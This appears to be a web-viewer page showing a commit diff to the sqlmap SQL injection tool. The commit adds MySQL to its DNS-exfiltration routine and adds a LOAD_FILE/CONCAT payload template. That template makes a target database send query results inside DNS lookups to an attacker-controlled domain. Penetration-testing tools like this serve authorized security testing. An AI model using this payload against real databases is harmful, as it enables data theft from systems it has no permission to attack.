| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [Original HTTPS Page] |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -95,6 +95,7 @@ def _(): | |||
| 95 | 95 | thread.start() | |
| 96 | 96 | ||
| 97 | 97 | if __name__ == "__main__": | |
| 98 | + server = None | ||
| 98 | 99 | try: | |
| 99 | 100 | server = DNSServer() | |
| 100 | 101 | server.run() | |
@@ -118,4 +119,6 @@ def _(): | |||
| 118 | 119 | except KeyboardInterrupt: | |
| 119 | 120 | os._exit(0) | |
| 120 | 121 | finally: | |
| 121 | - server._running = False | ||
| 122 | + if server: | ||
| 123 | + server._running = False | ||
| 124 | + | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -52,7 +52,7 @@ def dnsUse(payload, expression): | |||
| 52 | 52 | count = 0 | |
| 53 | 53 | offset = 1 | |
| 54 | 54 | ||
| 55 | - if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE): | ||
| 55 | + if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL): | ||
| 56 | 56 | output = hashDBRetrieve(expression, checkConf=True) | |
| 57 | 57 | ||
| 58 | 58 | if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None: | |
@@ -64,7 +64,7 @@ def dnsUse(payload, expression): | |||
| 64 | 64 | while True: | |
| 65 | 65 | count += 1 | |
| 66 | 66 | prefix, suffix = ("%s" % randomStr(3) for _ in xrange(2)) | |
| 67 | - chunk_length = MAX_DNS_LABEL / 2 if Backend.isDbms(DBMS.ORACLE) else MAX_DNS_LABEL / 4 - 2 | ||
| 67 | + chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL) else MAX_DNS_LABEL / 4 - 2 | ||
| 68 | 68 | _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) | |
| 69 | 69 | nulledCastedField = agent.nullAndCastField(fieldToCastStr) | |
| 70 | 70 | nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) | |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1 @@ | |||
| 1 | + SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%PREFIX%%SUFFIX%')) | ||
| Back | FazBrowse Home | New Git URL |
0 commit comments